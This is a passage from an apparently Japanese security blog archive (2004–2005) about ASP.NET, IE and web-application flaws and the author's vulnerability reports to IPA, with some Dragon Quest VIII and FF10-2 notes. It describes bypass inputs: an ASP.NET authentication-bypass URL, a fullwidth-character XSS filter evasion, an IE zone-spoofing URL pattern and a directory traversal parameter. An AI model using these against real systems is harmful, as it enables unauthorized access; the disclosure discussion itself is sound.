※2005-03-20追記: 届け出ようと思って様式を書いている時に問題の (許可を得てテストした) URL を確認したところ、アクセスできなくなっていました。というわけで修正されたようです。
関連する話題: セキュリティ
更新: 2005年3月17日
JVN (jvn.jp) で「msearch におけるディレクトリトラバーサルの脆弱性 (jvn.jp)」というものが公開されました。
JVN の記述は微妙です。設定ファイルや設定ファイルと同じフォーマットのファイルが見えるのではなくて、インデックスファイルと同じフォーマットのファイルが見えるという問題だと思いますが……。
※設定ファイルと同じフォーマットのファイルが「たまたま」存在した場合はその設定で msearch を動かすことができてしまいますが、そのファイルの内容を閲覧することはできないはず。フォーマットが違う場合はエラーメッセージが出るだけです。
※2005-03-17追記: JVN の記述は修正され、インデックスファイルについて追記されました。
まあそれは良いとして、「参考情報」としてリンクされている PDF 文書は何なのでしょうね。詳細な情報があるわけでもなく、何を意図したものか良く分からないのですが、もしや Microsoft の「絵で見る……」を意識しているのでしょうか。
更新: 2005年2月23日
「[connect24h:8297] Re: 銀行のサーバが攻撃されていました。 (www.st.ryukoku.ac.jp)」を読んで知ったのですが、ココログをビジネスで使用している企業というのがあるそうですね。
ココログに関しては、所詮個人の趣味の blog だろうし、セキュリティに関しては多少のことは気にしなくて良いだろうという判断をしていました。しかしビジネスユースがあるとなると……。
※2005-02-23 追記: ココログの脆弱性として 2件ほど届け出ましたが、1件は修正、1件は脆弱性ではないとして取扱い終了となりました。ココログの SSI インジェクション参照。
更新: 2005年2月20日
セキュリティホールmemo (www.st.ryukoku.ac.jp)から、XSS vulnerabilty in ASP.Net [with details] (www.st.ryukoku.ac.jp)というお話。
タイトルだけ見たら ASP.NET 自体にミドルウェアの欠陥として XSS が存在するかのように思えたので焦りましたが、そうではないみたいですね。
ASP.NET には、危険なリクエストを受けると例外をスローする validateRequest という機能があります。これはデフォルトで有効になっていて、プログラマがサニタイズを怠っていても問題が起きにくいようになっています。たとえば、POST されてきたクエリに <script> という文字列が含まれていると、こんなメッセージが出たりするわけです。
危険な可能性のある Request.Form 値がクライアントから検出されました。
説明 : 要求の検証により、危険性のあるクライアント入力値が検出されました。要求の処理は中止されました。この値は、クロス サイト スクリプト攻撃などのアプリケーションのセキュリティ問題を引き起こす可能性があります。ページ ディレクティブか、 構成セクションの validateRequest=false を設定することによって要求の検証を無効にできます。しかしこの場合、アプリケーションですべての入力を明示的に確認することをお勧めします。
ところが、< のかわりに全角の(U+FF1Cの)「＜」を使用すると、この検証を通り抜けます。さらに、responseEncoding を windows-1251 (キリル文字) にしていると、これが正規化されて < に変化し、結果的に貫通してしまうという話のようです。
というわけなのですが、プログラマが外部入力値をサニタイズしていれば問題ありません。ASP.NET の機能に甘えず、きっちりサニタイズしておきましょうということで。
※ちなみに、ここではそもそも validateRequest を無効にしてあります。経緯については 掲示板の #138 あたりを参照。
※2005-02-20 追記: これは validateRequest に限った問題ではなく、responseEncoding が windows- 系の場合は全角のものもサニタイズしないといけないですね。CultureInfo.InvariantCulture の話というのは、こういう局面で生きてくるのでしょう。
関連する話題: セキュリティ / ASP.NET / クロスサイトスクリプティング脆弱性
更新: 2005年2月10日
「報告された Microsoft ASP.NET の脆弱性に関する情報 (www.microsoft.com)」って良く意味が分からないのですが、「ASP.NET の正規化の問題をプログラムによって確認する方法 (support.microsoft.com)」ではまず "\" をサニタイズしているようですので、\ と / を正規化するあたりに何かあるのかも。
ASP.NET では、たとえば http://……/%5c/test.aspx なんてのをリクエストしても http://……/test.aspx が何事もなく実行されるようになっていて、Request.Path やら Request.PhysicalPath にも何事もなかったかのように /test.aspx なり c:\……\test.aspx なりが格納されています。Request.Url.ToString() も http://……/test.aspx となっていて、いずれも %5c はどこかに消え去っています。
つまり ASP.NET では URL がプログラムに渡る前の前処理として URL を正規化していて、よけいなバックスラッシュなどは消えるようになっているのです。今回の話は、このどこかに穴があってバックスラッシュが (あるいは他のヤバイ文字が) 貫通してくるという話なのでしょうか?
ともあれ続報待ちな感じですね。
※2005-02-10 追記: 修正されました。「ASP.NET パス検証の脆弱性 MS05-004 (www.microsoft.com)」
更新: 2005年2月10日
IT Pro (itpro.nikkeibp.co.jp) に、ASP.NET の脆弱性関連の記事が出ていますが……。
マイクロソフトは，おそらく「Webサーバー管理者の中には，ソースコードを読めない人がいる」と判断し，2日後に，公開したソースコードを実装した修正パッチ（Microsoft.Web.ValidatePathModule.dll）を用意したものと思われます。
以上、IT ProのWindowsユーザーのためのワンポイント・レッスン 第44回 : IT Pro １週間で学ぶIT基礎の基礎 より
いやいや、ValidatePathModule はそのコードの実装ではありません。global.asax にそのコードを追加しても exploit は通ってしまいます (ASP.NET の脆弱性!参照) が、ValidatePathModule をインストールすれば exploit が通らなくなります (少なくとも私が試した範囲では通りませんでした)。global.asax でのサニタイズはこの問題の対策としては不十分で、対策には ValidatePathModule のインストールが必要だということです。
※なお、このサーバにはあえて ValidatePathModule はインストールしてありません。
……というようなことがちゃんとアナウンスされていないから誤解を招くのだろうなぁ。まあ、
さらに情報やリソースを公開できるようになれば、順次このページを更新する予定です。
(～中略～)
この種類のセキュリティ問題からお客様を保護するためのガイダンスの他に、マイクロソフトは、ASP.NET にセキュリティ更新プログラムを提供するための作業を行っています。その更新プログラムにより、お客様に追加の保護策が提供されます。マイクロソフトは、その更新プログラムの展開のための品質のレベルが適切なものになった後、その更新プログラムをリリースする予定です。
ということなので、これは Microsoft としてもまだ暫定情報という扱いなのでしょう。状況を整理すると、
という感じかと。
記事では ValidatePathModule をパッチとして紹介していますが、ValidatePathModule は ASP.NET 用の URL Scan のようなもので、この問題の本質を解決しているわけではありません。上記引用部からしてパッチは別途出る予定だと言っていますし、それはそれで適用する必要があるでしょう。Code Red は URL Scan で防げますが、やっぱり MS01-033 は当てないとね……ということで。
※2005-02-10 追記: 修正されました。「ASP.NET パス検証の脆弱性 MS05-004 (www.microsoft.com)」
更新: 2005年2月10日
「ASP.NET の脆弱性?」の話ですが、セキュリティホールmemo で詳細が紹介 (www.st.ryukoku.ac.jp)されていました。
これ、どうやら Basic 認証が貫通するという話のようですね。認証かけていない場合は関係ないみたいで一安心?
参考までに Basic 認証をかけた ASP.NET なページを用意してみました。http://bakera.jp/bug/auth-test.aspx に普通にアクセスすると、401 になる (パスワードを求められる) はずです。
%5c などは URL Scan で蹴られたりしますが、http://bakera.jp/%20/bug/auth-test.aspx とやるとあっさり貫通するようですね。「ASP.NET の正規化の問題をプログラムによって確認する方法 (support.microsoft.com)」に出ている対策は行ってあるのですが、それでは不十分のようです。
※……というか、global.asax の Application_BeginRequest() の中でも正規化された後の値しか受け取れていないような気がするのですが、気のせいなのかなあ。気のせいでないとすると、そもそも対策に意味がないと思うわけですが。
※追記 :「報告された Microsoft ASP.NET の脆弱性に関する情報 (www.microsoft.com)」が更新され、Microsoft ASP.NET ValidatePath Module (www.microsoft.com) というものが公開されています。ひとまずこれで回避できるようです。
※2005-02-10 追記: 修正されました。「ASP.NET パス検証の脆弱性 MS05-004 (www.microsoft.com)」
更新: 2005年1月25日
とりあえずメモのみ……「メールで尋ねることはしていない」という一つ覚え (takagi-hiromitsu.jp)
メール中の URL は HTTP ですが、アクセスすると HTTPS な URL にリダイレクトされるようですね。何故そのようなことをしているのかは全く理解できませんが。
※……などと書いていて、もういちど高木さんの日記の内容を確認しようと思ったら 503 を喰らってしまいました。各所で話題になっていて重くなっているのかしら。
※2005-01-25 追記: しかも、意味がないだけならまだしも脆弱性があったので IPA に届け出ました。現在では無事修正されています。
更新: 2005年1月25日
「【レポート】三越の「お客様本位」から生まれたWebアクセシビリティ (pcweb.mycom.co.jp)」という記事があったので、三越オンラインショッピング (www.mitsukoshi.co.jp)にアクセスしてみると……。
このページではJavascriptを使用しています。Javascriptをサポートしたブラウザをご利用ください。
※お買い物時はセキュリティのレベルを「中」でご利用ください。（弊社サイトは最新のウイルス対策をしております）
うーん、これが「お客様本位から生まれたWebアクセシビリティ」ですか……。
しかも「（弊社サイトは最新のウイルス対策をしております）」って意味が分からないです。ウィルス対策をしていても脆弱性があったら意味がないですよね。
※2005-01-25 追記: そして実際に脆弱性があったわけですが、修正されています。
更新: 2005年1月22日
以前、ドラクエ8の最大ダメージは 9999 という話を書きましたが、違うかもしれません。
MP が十分に高いゼシカがスーパーハイテンション状態でマダンテを使うと、ほとんどの敵に 5008 のダメージを与えます。ところが、狂った竜神王に対しては、何故かぴったり 5000 のダメージとなります。この 5000 という数字はどこから出てくるのでしょうか?
調べてみると、どうも竜神王は炎系の攻撃全般に強めの耐性があるらしく、マダンテのダメージも半減するようです。半減で 5000 というのはきりの良い数字です。9999ダメージを半減して 5000 になっている可能性が高いと思われます。
また、竜神王にディバインスペルを使ってからマダンテを撃つと、ちゃんと 5008 ダメージになることが確認できました。
このことから、ダメージ計算の際、ダメージを 9999 に補正する処理よりも後で耐性の処理をしていることが推測できます。また、ディバインスペルの処理も 9999 補正より後であることが分かります (あるいは耐性値そのものを修正しているのかも)。呪文のダメージ上限の処理は、それらよりも後に入っているようです。
普通に考えるとダメージを 9999 に補正する処理が 2回入っているとは考えにくいので、以下のような順で処理していると考えられます。
これは最大ダメージが 9999 を超える可能性があることを示唆しています。耐性のない敵にディバインスペルをかければ、9999 ダメージに修正された後でダメージが増えるはずだからです。
これは仮説に過ぎず、最後にもう一度「9999 に修正」という処理をしている可能性もあります。検証したいのですが、検証は困難です。可能性があるのは攻撃力依存の属性攻撃で、たとえば「かえん斬り」などですが、9999ダメージを超えるためにはどれだけのちからのたねが必要になることやら……。
※2005-01-22追記 : 検証しました。9999 OVER参照のこと。
更新: 2005年1月22日
ドラクエ8 (www.amazon.co.jp)
どうも呪文にはそれぞれにダメージの上限が定められていて、マダンテの場合はそれが 5008 に設定されているようです。ギガブレイクなどの攻撃力に依存しない特技も同様で、値は異なるものの、それぞれに上限があります。そして、それらは全てマダンテより低い値になっています。
というわけで、一発の最大ダメージは 5008……と思いきや、実は攻撃力に依存する技ではもっとダメージを与えられたりするのです。たとえば「ドラゴン斬り」がそうで、力が 400 の主人公が「ドラゴンスレイヤー」と「ごうけつのうでわ」を装備してスーパーハイテンション状態になり、バイキルトをかけられた状態でドラゴンに対して放つと、ダメージは軽く 9000 を超えます。
と、ここまではかなり早い段階で分かっていたのですが、そうなると、ドラゴン斬りでどこまでのダメージを出せるのかが気になってきます。というわけで、延々とミミック狩りで「ちからのたね」を集め、主人公の攻撃力を上げてみました。
その結果、上限値が判明。
まあ今回のドラクエではダメージの表示形式が FF 方式ですので、この上限は予想していました。おそらく、他のどんな技でもダメージがこの値を上回ることはないでしょう。
このことから、「1ターン最大ダメージ」の理論最高値も分かります。HP が最も高い敵に対してまず最大HP-1 のダメージを与え、9999ダメージでとどめを刺した場合が最大になるはずです。狂った竜神王の HP が 8300 らしいので、「1ターン最大ダメージ」の最大値は 18298 となるものと思われます。
※2005-01-11追記: よく考えたら、敵が回復すればもっと行く可能性がありますね。メガザルを使う敵と一緒に出てくる奴で狙ってみるとか……。
※2005-01-22追記: 最大ダメージは 9999 を超えることが分かりました。9999 OVER参照のこと。
更新: 2004年11月4日
MYCOM PC WEB にも出ていましたね……「脆弱性届出制度、開始から3カ月 - 92件の届出、13件の修正完了 (pcweb.mycom.co.jp)」。こちらは興味深い点が二点ほど。
早貸セキュリティセンター長は「"(脆弱性が存在する)可能性があるかもしれない"程度のレベルで届け出てもらってかまわない。あとはIPAが調べる」と述べており、詳細な脆弱性情報を届け出なくてもIPA側では情報を受け付け、検査、ベンダーとの調整が行われることを強調した。
まあ私も SQL のエラーメッセージを見ただけで「SQLインジェクションの疑いあり」とか言って届けちゃってるんですが、それで OK みたいですね。それでもさすがに「input type="hidden" にファイル名っぽいパラメータがある」というだけで届け出るのは抵抗があったのですが、そんなのでも届け出ちゃって良いということかしら。
※軽い疑惑のレベルで届けたりすると IPA 側がパンクするのではないかと懸念していましたが、現状の届出件数を見る限りではパンクしそうにないですね。:-)
ちなみに届け出られた脆弱性情報は現在92件だが、脆弱性を届け出た人は22人となっており、一人で複数の脆弱性を届け出ている例が多かったという
22人というのはまたえらく少ないですね。
office さんの逮捕は、思ったよりもずっと悪い影響を及ぼしているのかもしれません。
※2004-11-04 追記: 「input type="hidden" にファイル名っぽいパラメータがある」というだけのものを一件届け出てみたのですが、受理され、取り扱われ、そして修正されました。
関連する話題: セキュリティ / IPA / 情報セキュリティ早期警戒パートナーシップ / SQLインジェクション
更新: 2004年11月4日
「脆弱性情報届出制度は運用しながら改善を～パネルディスカッション (internet.watch.impress.co.jp)」という話ですが、
9月8日時点でのユーザーからの届出件数は、ソフトウェア製品15件、Webアプリケーション71件の計86件に上っており、うちソフトウェア製品1件（ウイルスバスター・コーポレートエディション）、Webアプリケーション5件について脆弱性の修正が完了したとのこと。
前に報道されていた話と比較すると、
というところでしょうか。後者はたまたま今回は言っていないだけという可能性もありますが、何となくそうではない気がします。
当然というか問題点がいろいろ出ているようで、
そして、実際に制度を運用してみての感想として、早貸氏は「Webアプリケーションの場合、同一プログラムを複数のサイトで利用しているケースも少なくなく、そういったケースでは1つ脆弱性が見つかると、利用しているサイトの数だけ届出が来てしまう」「Webサイトに連絡先メールアドレスが書かれていても、管理者がそのアドレス宛のメールを読んでいないケースが多く、その場合は連絡先の電話番号などをいちいち調べなければならず面倒」などといった問題が出ていると語った。
まあ前者は「頑張ってください」というより他ないですね。端から見て何が届け出られているのか分からないので、どうしようもありません。ひょっとすると、某サーバ屋のアレなんかみんなして届け出ていたりするのかもしれない……と思ったりするわけですが、だからといって「きっと届け出られているだろうから良いだろう」というのも外れているかもしれないわけで。届出の情報が公開されない限り、重複は回避できないでしょう。
それから後者、これ、悲しいことにホントに連絡が取れない場合というのが実際にあるようですね。その場合は
本件、以下の理由により取扱いを終了することになりましたので、ご連絡いたします。
理由:
ウェブサイト運営者と連絡を取るために、当該サイトの脆弱性関連情報通知先に連絡をしましたが、期限内に返信がなかったため、ウェブサイト運営者と連絡が取れないものと判断しました。
……ということになるのですが、そうなったときに発見者はどうすれば良いのかというのが気になるところです。
密かに修正ということはもう期待できませんので、放置なのか、公開なのかの二択になると思いますが……当然、発見者は放置したくないから届け出ているわけでして……情報を公開したほうが良いものかどうか悩みます。
ただし、未解決の課題として、高木氏は「ベンダーによる脆弱性情報の告知方法のガイドラインができておらず、依然としていわゆる『ヤミ改修』のような行為が行なわれる危険性は減っていない」「脆弱性情報の発見者が情報を公開する場合のガイドラインがないため、同じような欠陥を防ぐために必要なフルディスクロージャーをいつになったら行なっていいのかがわからない」「そもそも『不正アクセス行為に当たらない脆弱性の発見方法』が明確化されておらず、どこまでの行為が許されるのかがわからない」といった問題を列挙した。
これは激しく同意で、私も一番気になっているところです。高木さんは流石に発見者の気持ちが良く分かっていらっしゃるようで。
しかし少なくとも最初の項目については、ガイドラインで「個人情報漏洩の時は情報を公開する必要がある」としているわけです。逆に言えば、それ以外の時は公開しなくて良いということですから、むしろ制度として「個人情報が漏洩していない場合はヤミ改修で良い」と認めているものだと理解していました。
もっとも、脆弱性によって個人情報が漏洩したかどうかというのは非常に微妙な部分があります。たとえば XSS などはセッション Cookie が盗まれてセッションハイジャックが行われる可能性があり、ログインによって個人情報が閲覧できるなら、個人情報漏洩の可能性もあるはずなのです。しかし実際にはロクな調査もしないで、「XSS がありましたが実害なし」などという判断をして終了ということになるケースがほとんどです。XSS が発覚しても、「この XSS は Cookie を使ってログインするサーバとは別のサーバのものなので、セッションハイジャックのおそれはありません」などと言ってもらえれば、それはそれで安心できると思うのですが……。
※そう言ってもらえない場合というのは、漏洩の可能性が否定できない = 情報公開しようねということになるはず。
ちなみに、届け出られて修正された脆弱性が 5件あるということですが、そのうちの 1件は某 ISP (ニフティではありません) の検索フォームの XSS です。これも全く情報公開された形跡がないですね。
あと、面白いと思ったのは脆弱性情報の届出状況のグラフ (internet.watch.impress.co.jp)。所々にぼこっと大きな山ができているのは、「貯めていたものを一気に吐き出した」人がいるからなのかなぁと思ったり。手持ちの脆弱性がたくさんある場合は、まとめて一度に送るでしょうからね。
※2004-11-04 追記:「某サーバ屋のアレ」は届け出てみたところ、普通に取り扱われて普通に修正の連絡を受けました。つまり、私以外の誰も届け出ていなかったものと思われ……「誰かが届け出ているだろう」という発想はしちゃ駄目みたいです。
関連する話題: セキュリティ / IPA / 思ったこと / 情報セキュリティ早期警戒パートナーシップ
更新: 2004年10月20日
なんだこりゃ。……「声明 officeこと、河合一穂の逮捕にあたって (www.josephandleon.co.jp)」
※追記: 声明文消滅しちゃいましたね。ACCS から何か言われたのでしょうか。
※2004-10-20 さらに追記: 声明文はいつのまにやら復活しています。どういう意図なんだか良く分かりませんが。
色々な意味で凄い文章だと思いますが、ともかく、このヨセフアンドレオンという会社が ASK ACCS の運営をしていたようですね。office さんの謝罪文には「ACCS、ファーストサーバ、JPCERT/CC ともう一件の会社に報告した」というような話が出ていましたが、伏せられていた「もう一件の会社」というのがこの会社だったのでしょう。
まあしかし、ACCS がこのような会社にサイトの運営を依頼していたこと自体が驚きです。事故調査委員会報告書の最後には、
具体的には、ACCS内部におけるセキュリティ体制の強化、外部の第三者によるホームページのセキュリティチェック等の実施、ホームページの製作・運営等を外部に委託する際の基準の策定、委託先の再検討、取得すべき個人情報の再検討などを行うべきである。
以上、ASKACCS個人情報流出事故調査委員会の調査報告書 より
※引用文中の強調は引用者による
とあって、これはもう「今の運営会社はやめた方が良い」と言っちゃっているに等しいわけですが、無理もないと思いました。
関連する話題: セキュリティ / ACCS / ASK ACCS 個人情報漏洩事件 / 情報漏洩 / ファーストサーバ
更新: 2004年10月18日
とあるサイトで、フォームから送信されたと思われるデータが公開されていることを発見。普通に考えると設定ミスによる漏洩なのでしょうが、なんかデータに対してリンクが張られているし……アンケート結果を公開するような感覚で意図的に公開しているのかしら? 良く分かりませんが、データには思いっきりメールアドレスなどが含まれていて、問題があるように思えます。
とりあえずストックに追加しておきますが、IPA の例の窓口はこんなの受け付けてくれるのでしょうか? 「ソフトウエア等脆弱性関連情報取扱基準（案）」等に対する意見の募集 (www.meti.go.jp)で公開されている PDF 文書を見ると、適用範囲は以下のようになっていますね。
Ⅳ．本基準の適用範囲
本基準は、以下に掲げるものの脆弱性であって、その脆弱性に起因する被害が不特定多数の者に影響を及ぼし得るものに適用する。
１．日本国内で利用されているソフトウエア製品 （ソフトウエア製品において通信プロトコル等の仕様を実装した部分を含む。）
２．主に日本国内からのアクセスが想定されているウェブサイトで稼働するウェブアプリケーション
以上、ソフトウエア等脆弱性関連情報取扱基準（案） より
ウェブサイトの問題全般を受け受けるわけではなく、ウェブアプリケーションの問題である必要があるように読めます。ウェブアプリケーションの定義は以下の通り。
5．ウェブアプリケーション インターネット上のウェブサイトで稼働する固有のシステム。
以上、ソフトウエア等脆弱性関連情報取扱基準（案） より
……Web サーバは固有のシステムではないように思えますので、その設定ミスなんてのは対象外のような気がします。
まあとりあえず通報してみて、「脆弱性関連情報に該当しない」という回答になったら公開という方向で。
※「脆弱性関連情報に該当しない」となった場合、その情報の公開を妨げる要素って何もないですよね。警視庁の「個人情報流出防止」 (www.keishicho.metro.tokyo.jp)を見ても、ディレクトリ丸見え系は不正アクセスではないという認識のようですし。
※2004-10-18 追記: IPA に届け出たらちゃんと受け付けてもらえまして、2004-10-06 に修正完了の連絡をいただきました。
更新: 2004年10月18日
手元の「ストック」には「個人情報を含むデータが公開されてしまっている」というネタが何件かあるのですが、とある方の日記を読んでいたところ、その一つであるところのドメインについての話題が出ていました。
そこで思い出してアクセスしてみたところ、幸いにもデータは見えなくなっているようです。というわけでストック一つ消滅なのですが、こういう解決の仕方だと、被害者は一生被害にあったことに気づかないのではないかと思います。
今はもうそのデータは丸見えではないのですから、「かつて丸見えだった」ということを公表してしまっても、それによって被害が拡大するおそれはありません。公開してしまった方が良いのかなとも思うのですが、いろいろ面倒なことが起きそうな気もしますし……。
こういうケースってどう処理すれば良いのでしょうね。
※あと、公表はされてるんだけど過少申告されているケースとか……。
※2004-10-18 追記: 「かつて丸見えだった」所には別途「現在も丸見え」なものがあったので IPA に届け出ましたが、管理者と連絡が付かないということで取扱い終了になってしまいました。また、「公表はされてるんだけど過少申告されているケース」もいちおう届け出てみましたが、こちらは脆弱性関連情報に当たらないとのことでした。
更新: 2004年10月18日
セキュリティホール memo に西武百貨店の話題 (www.st.ryukoku.ac.jp)。思いっきり思い出したことがあるのですが、ヤバすぎて書けない……。※確認したら、未だに修正されていませんでしたので。
新しいえび日記で一つ便利になったのは、本当にまずいようなことでもソース内にコメントとして書いておけること。何でもソース内にメモしてしまう習慣は昔からありましたが、コメントは私以外にも読めてしまうので、本当に書いてはまずいことは書けなかったのでした。しかし新しいえび日記では、ソースの XML に書かれているコメントは出力されないので、何でも心おきなくメモしておけるのです。
※でもサーバ管理者の強権を使われると読めてしまう……。
※2004-10-18 追記: ヤバイ件は IPA に届け出たところ、2004-09-28 に修正の連絡をいただきました。
更新: 2004年10月18日
3年ほど前のことなのですが、あるサイトで、ふと検索フォームに XSS を発見しました。ついでに色々調べたら、cgi-bin 以下が丸見えであることが判明。しかも、そこには見事に個人情報を含む CSV ファイル (たぶんアンケートのデータ) が置かれていて、ダウンロードできてしまう状態でした。
XSS の方はめんどくさかったので放置しておきましたが、個人情報丸見えは流石に教えた方が良いだろうということでこっそりと報告。その結果……全く何の音沙汰もなく、一週間くらいしてみたら cgi-bin 以下は見えないようにされていました。
で先日、偶然にもそのサイトにふたたび遭遇。3年経っても XSS が直っていない事を確認しました。
それはそれで問題ないのですが (ないのか?)、そのサイトのとある場所にログインフォームがあったので、何も入れないで submit ボタンを押してみました。
※ちなみに、私にはフォームを見かけるととりあえず何も入れずに submit してみる習性があります。そうしないとかなり強力に残念な思いをすることがあるので……。
そうしたら、こういうエラーメッセージが出てしまったのですよね。
Warning: PostgreSQL query failed: ERROR: parser: parse error at or near "and" in /home/homepage/public_html/service/system/index.php on line 87 Warning: Supplied argument is not a valid PostgreSQL result resource in /home/homepage/public_html/service/system/index.php on line 88
なんだかとっても嫌な予感がするのですが、突っ込んで検証しようとした瞬間に「不正アクセス禁止法」(不正アクセス行為の禁止等に関する法律) に抵触するような気がしたので、すんなりと忘れることにしました。
医療ミスを繰り返す医者のことを「リピーター医師」と言うそうですが……。
※2004-10-18 追記: IPA に届け出てみたら 2004-09-21 に修正完了の連絡をいただきました (XSS, SQLインジェクション共に修正完了の旨)。SQLインジェクションが可能かどうかは確認しないで届け出たのですが、ホントに SQL インジェクションできちゃっていたみたいです。ともあれ修正されましたので一安心。
関連する話題: Web / セキュリティ / 個人情報 / SQLインジェクション
更新: 2004年10月18日
とあるサイトで、URL の末尾がちょっと欠けたりすると
Database error: Invalid SQL: SELECT num……(以下略)
などというエラーが出てしまうのに気づいたり。
これはちょっとまずそうな予感がするのですけれど、確信を得るためにはいろいろしなくてはならず、しかしながらそれはとても危険なので何とも。やっぱり、この手のものは疑惑段階で届け出てしまうのが良いのかしら。
※2004-10-18 追記: 届け出ようかと思って念のため再確認したら、いつのまにか修正されていました。というわけで届け出ずに済みました。めでたしめでたし。
関連する話題: セキュリティ
更新: 2004年10月7日
「ACCSは十字架を背負い続ける」――久保田氏、情報漏えい事件を語る (www.itmedia.co.jp)。
500円の金券を配って終わり、という話ではない。ACCSは情報漏えいした方々の十字架を背負い続けるしかない
これはあてつけなのかなぁ。いやまあ、全く同感なのですけれども。
続いて、ネット情報セキュリティ研究会（NIS）技術調査部長の萩原栄幸氏は、「国内のWebサイトは脆弱すぎる」と指摘する。「ある有名大学のWebサイトに、不正アクセス禁止法に抵触しない程度の簡単なバックドアを仕掛けたところ、大学の教職員名簿がまるごと見えてしまった」（萩原氏）。
ええと……「不正アクセス禁止法に抵触しない程度の簡単なバックドア」っていったい何でしょう。バックドアを仕掛けたという言葉が文字通りであるのなら、それが簡単であったかどうかは違法性とは全く関係ないような気がしますけれども。
逆に、個人的には ng_file=csvmail.cgi のほうこそ「不正アクセス禁止法に抵触しない程度の簡単な」アクセスだと思うのですよね。ただのディレクトリトラバーサルですし。
※もしこれがバックドアだとしても、仕掛けたのは office さんではなく morikawaさんでしょうし。:-)
※2004-10-07 追記: IT Media の上記引用部分は修正され、「検索エンジンを利用しただけで、ある有名大学のWebサイトから大学の教職員名簿がまるごと見えてしまった」と改められました。また NIS/ネット情報セキュリティ研究会 (www.e-secure.jp)にも訂正のコメントが出ています (shinさん情報ありがとうございます)。
関連する話題: セキュリティ / ACCS / ASK ACCS 個人情報漏洩事件
更新: 2004年8月2日
ココログ大アンケート (www.cocolog-nifty.com)ですが、ソースを見た瞬間に嫌な予感が。
<form method="post" action="https://www.nifty.com/webapp2/multi/multiform"> <input type="hidden" name="knaji_code" value="x-sjis"> <input type="hidden" name="dirctory" value="cocolog_hakusyo"> <input type="hidden" name="form_num" value="46"> <input type="hidden" name="thanks_URL" value="http://www.cocolog-nifty.com/hakusyo/thanks.html"> <input type="hidden" name="error_URL" value="http://www.cocolog-nifty.com/hakusyo/error.html"> <input type="hidden" name="necessary_num" value="1,2,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,29,30,31,32,35,37,43,44,46"> <input type="hidden" name="fukusuu_num" value="18,19,20,23,43"> <input type="hidden" name="zenkaku_num" value=""> <input type="hidden" name="mailaddr_num" value="46"> <input type="hidden" name="hankakusu_num" value=""> <input type="hidden" name="hankakueisu_num" value="">
まあ knaji_code というのは別に良いのですけど……もごもご。
※2004-08-02 追記: アンケート閉鎖されてますね。
更新: 2004年6月20日
「IE6のセキュリティゾーン設定をすり抜けられてしまう脆弱性 (internet.watch.impress.co.jp)」という話。
http://[trusted_site]%2F%20%20%20.[malicious_site]/ のような URL にアクセスしようとしたとき……
……というわけでアクセスできてしまう場合があり、このとき IE はこのリソースを [trusted_site] の属するゾーンの権限で処理してしまうというお話。URL 欄が偽装されるだけではなく、実際にそのゾーンで処理されてしまうので、「クロスドメインのセキュリティモデルが崩壊している」状態であり、とても危険です。
Secuniaによると、IEの全セキュリティゾーンにおけるセキュリティレベルを“高”にすることでこの脆弱性を回避できるとしている。
って …… v4.windowsupdate.microsoft.com で ActiveX コントロールが動作しないと困るのですが……。
※ところで、Microsoft の DNS でワイルドカード A レコードって設定できるのでしょうか。追試しようと思ったのですがやり方が分からなくて……。
※2004-06-20 追記: こーせーさんから情報をいただきました(ありがとうございます)。Windows DNS では管理コンソールからワイルドカード Aレコードを設定することはできませんが、%systemroot%\system32\dns にあるファイルを直接書き換えれば設定できるようです。
関連する話題: セキュリティ / Windows / Internet Explorer
更新: 2004年4月14日
「A.D.200X実行委員会、ACCS個人情報漏洩問題について総括を発表 (internet.watch.impress.co.jp)」ということで、「A.D.2003会場におけるACCS個人情報漏洩問題についての総括 (1) (www.ad200x.net)」が出ていますね。
※ちなみに Internet Watch の記事では「office氏」であるべきところが「Office氏」となっていて私と同じ過ちを犯しているわけですが、こういうツッコミを入れる窓口ってあるのかしら。
※2004-04-14 追記 : yuuさんに教えてもらった窓口に指摘のメールを送ったところ、速攻で直して頂けました。ありがとうございます。
2003年11月11日、office氏の発表内容をA.D.200Xが確認、事態の深刻さを認識しました。office氏に対し、該当個人情報の即刻削除を要請し、該当資料を保持しているA.D.200X参加者の確認作業と削除要請を開始しました。確認できた資料保持者からは削除済みの連絡を受け、 ACCSには該当資料は削除され拡散の恐れは低いと報告しましたが、後日、該当資料が最大でA.D.2003参加者全員(約250名)に流出した可能性がある事が分かりました。
謎はひとつ解けましたが……ここで言う「後日」というのはいつのことなのでしょう。
2003年11月11日より、A.D.200Xでは2chやP2Pネットワーク、および様々なblogや掲示板等を対象に、該当資料の流出がないかどうかの監視活動を開始しました。監視は、毎日数時間程度ではありますが、現在に至るまで毎日行われております。
とあるのですが、この監視を開始した時点では「該当資料が最大でA.D.2003参加者全員(約250名)に流出した可能性がある」ことは分かっていなかったのでしょうか。流出の可能性を知らなかったけれど一応監視していたのか、それとも日付が typo しているのか……。
しかしこの報道により、配布された発表資料中に個人情報が記載されている事が公表されたため、これを受け、2004年1月8日、本件についてのアナウンスをA.D.200Xのwebサイトで行い、2004年1月11日、該当資料を保持していないと思われるA.D.2003参加者も含め、参加者全員に対して配布された資料に個人情報が記載されている事を通知し、その資料をもし保持していた場合は速やかに破棄するよう求めました。
参加者全員に対し、というのは微妙にダウトで、実は A.D.2003 に参加した後にメールアドレスが変わったために連絡を受けられなかったという人が存在していたりします。細かいですけど。
※というか、A.D.200X 側でも把握してないのかな。
関連する話題: セキュリティ / 情報漏洩 / ACCS / ASK ACCS 個人情報漏洩事件
更新: 2004年4月13日
「強くてニューゲーム」というモードの初出はたぶん「クロノ・トリガー (www.amazon.co.jp)
2周目以降に受け継がれるものは以下の通り。
ちなみに、既に持っているドレスフィアを 2周目で手に入れると、ドレスフィアの所持数がカウントされて行きます。一つのリザルトプレートに同じドレスフィアを複数セットすることが出来るようになります。……ほとんど意味ありませんが。
リザルトプレートの場合は、既に持っているものを再び入手しても何も起きません。
COMPLETED率が継承されています。1周目で体験していなかったミッションをクリアすれば上がります。おそらく1周で 100% にするのは不可能なので (たとえば、新エボン党と青年同盟の二者択一によって体験できるミッションが違う)、何周もして 100% を目指そう、ということなのでしょう。
※追記: どうもこの数値は、1周で体験できるイベントを全て完璧にこなしたときを 100% としているようです。排他的なイベントがあるので、2周以上すれば論理上は 100% を超えることが可能ですが、表示は 100% が最高ということのようです。
意外ですがプレイ時間も継承されています。所持金も、クロノ・トリガーなんかでは継承されていませんでしたが、FF10-2 ではしっかり継承されています。
